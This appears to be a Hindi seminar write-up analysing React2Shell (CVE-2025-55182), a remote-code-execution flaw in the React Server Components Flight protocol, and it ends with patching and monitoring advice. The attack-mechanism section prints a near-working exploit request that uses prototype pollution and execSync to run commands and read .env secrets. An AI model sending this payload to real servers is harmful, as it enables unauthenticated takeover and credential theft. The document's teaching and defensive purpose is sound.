React2Shell (CVE-2025-55182)

हमारा FISA तकनीकी सेमिनार छठा बैच - टीम 3: React Server Component (RSC) के डिज़ाइन दोष का उपयोग करने वाली रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता, React2Shell का विश्लेषण और अनुसंधान

टीम

विषय-सूची (Contents)

1. परिचय: React2Shell क्या है?
2. React2Shell हमला तंत्र
3. React2Shell का प्रभाव
4. फ्रंटएंड में सुरक्षा ज़िम्मेदारी

01. परिचय: React2Shell क्या है?

React2Shell (CVE-2025-55182) React Server Component (RSC) द्वारा उपयोग किए जाने वाले Flight Protocol की संचार प्रक्रिया में खोजी गई एक गंभीर सुरक्षा भेद्यता है।

• मुख्य समस्या: हमलावर बिना प्रमाणीकरण के केवल एक HTTP अनुरोध से सर्वर के आंतरिक कमांड को निष्पादित कर सकता है।
• गंभीरता: CVSS स्कोर 10.0
• कारण: अविश्वसनीय डेटा के डिसीरियलाइज़ेशन (Deserialization) की प्रक्रिया के दौरान उत्पन्न Prototype Pollution

Flight Protocol का डिज़ाइन दोष

React, कंपोनेंट्स को संसाधित करने के लिए स्ट्रिंग्स और ऐरे के अलावा Promise, Blob, Map जैसे जटिल प्रकारों के साथ संगत Flight Protocol का उपयोग करता है।

हमलावर प्रोटोकॉल स्ट्रीम प्रोसेसिंग की इस भेद्यता का लाभ उठाकर दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट कर सकते हैं और सर्वर का नियंत्रण प्राप्त कर सकते हैं।

समयरेखा

• 2025.11.29: Meta Bug Bounty के माध्यम से प्रारंभिक रिपोर्ट
• 2025.11.30: सुरक्षा टीम द्वारा पुष्टि और React टीम के साथ सहयोग की शुरुआत
• 2025.12.01: पैच कोड का विकास और साझेदार कंपनियों (Vercel आदि) द्वारा सत्यापन
• 2025.12.03: पैच का वितरण और CVE का सार्वजनिक होना

02. React2Shell हमला तंत्र

• सबसे सामान्य हमला विधि, बिना किसी अलग पूर्व शर्त के, React Flight प्रोटोकॉल की संदर्भ (Reference) प्रणाली का दुरुपयोग करना है।
• हमला मोटे तौर पर तीन चरणों में होता है: बम स्थापना(Payload भेजना) → प्रज्वलन(डिसीरियलाइज़ेशन) → विस्फोट(RCE निष्पादन)।

1) बम स्थापना

हमलावर Next-Action और multipart/form-data हेडर वाले अनुरोध के माध्यम से JSON डेटा को सर्वर पर भेजता है। इस समय, अनुरोध के body में Promise ऑब्जेक्ट के रूप में प्रच्छन्न एक नकली चंक (Fake Chunk) शामिल किया जाता है।

POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) प्रज्वलन

// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}

1. हमलावर द्वारा भेजे गए नकली चंक के then में Chunk.prototype.then मैप हो जाता है।
2. Blob डेटा को डिसीरियलाइज़ करने की प्रक्रिया में, _prefix में निहित दुर्भावनापूर्ण कोड Function के तर्क के रूप में चला जाता है।
3. जैसे ही उत्पन्न फ़ंक्शन Promise के thenable के रूप में कॉल होता है, हमलावर द्वारा बोया गया मनमाना कोड सर्वर पर निष्पादित हो जाता है।

3) विस्फोट

// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

मूल कारण

// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}

• React, $1:path:to:value प्रारूप के संदर्भ की व्याख्या करते समय कोलन (:) के आधार पर स्ट्रिंग को विभाजित करके ऑब्जेक्ट के अंदर खोज करता है।
• इस प्रक्रिया में $1:__proto__:then की व्याख्या करते हुए, chunk के प्रोटोटाइप और उस ऑब्जेक्ट के then तक पहुंच संभव हो जाती है (Chunk.prototype.then)।
• अंततः, हमलावर द्वारा भेजा गया नकली चंक वास्तविक चंक का then प्राप्त कर लेता है, जिससे हमलावर के इच्छित कोड का निष्पादन होता है।

03. React2Shell का प्रभाव

इस भेद्यता ने आधुनिक वेब पारिस्थितिकी तंत्र में बड़ी हलचल मचा दी।

• सर्वर कंपोनेंट की विश्वसनीयता को झटका: "क्या फ्रंटएंड फ्रेमवर्क को सर्वर सुरक्षा की भी ज़िम्मेदारी लेनी चाहिए?" पर चर्चा शुरू
• होस्टिंग प्लेटफ़ॉर्म में आपातकाल: Vercel, Netlify आदि RSC का समर्थन करने वाले प्रमुख PaaS प्रदाताओं द्वारा तत्काल सुरक्षा पैच

04. फ्रंटएंड में सुरक्षा ज़िम्मेदारी

React2Shell घटना ने यह सबक छोड़ा: "फ्रंटएंड डेवलपर्स को भी सर्वर सुरक्षा समझनी चाहिए।"

निवारण उपाय

1. React से संबंधित पैकेज तुरंत अपडेट करें

react-server-dom-webpack जैसे संबंधित पैकेजों को तुरंत नवीनतम संस्करण (19.0.1+ आदि) में अपडेट करें

2. फ्रेमवर्क पैच की स्थिति जांचें

Next.js जैसे RSC को शामिल करने वाले फ्रेमवर्क के लिए केवल React को अपग्रेड करना समाधान नहीं है इसलिए फ्रेमवर्क के स्वयं के सुरक्षा रिलीज़ नोट्स की जांच करके नवीनतम संस्करण में अपग्रेड करना आवश्यक है

3. मॉनिटरिंग

Grafana जैसी मॉनिटरिंग प्रणाली का उपयोग करें और ईमेल, स्लैक आदि जैसे अलर्ट भेज सकने वाले माध्यमों से जोड़कर, तत्काल कार्रवाई के लिए अलार्म सेट करें

जिस प्रकार प्रौद्योगिकी के विकास के साथ फ्रंटएंड का क्षेत्र विस्तारित हुआ है, उसी प्रकार सुरक्षा के प्रति ज़िम्मेदारी का दायरा भी बढ़ा है, इसे पहचानना आवश्यक है।

संदर्भ सामग्री

React आधिकारिक पैच

React2Shell: CVE-2025-55182 भेद्यता का संपूर्ण विश्लेषण गाइड

React सर्वर कंपोनेंट भेद्यता और सिस्टम घुसपैठ पथ विश्लेषण

PoC: भेद्यता का अवधारणा प्रमाण कोड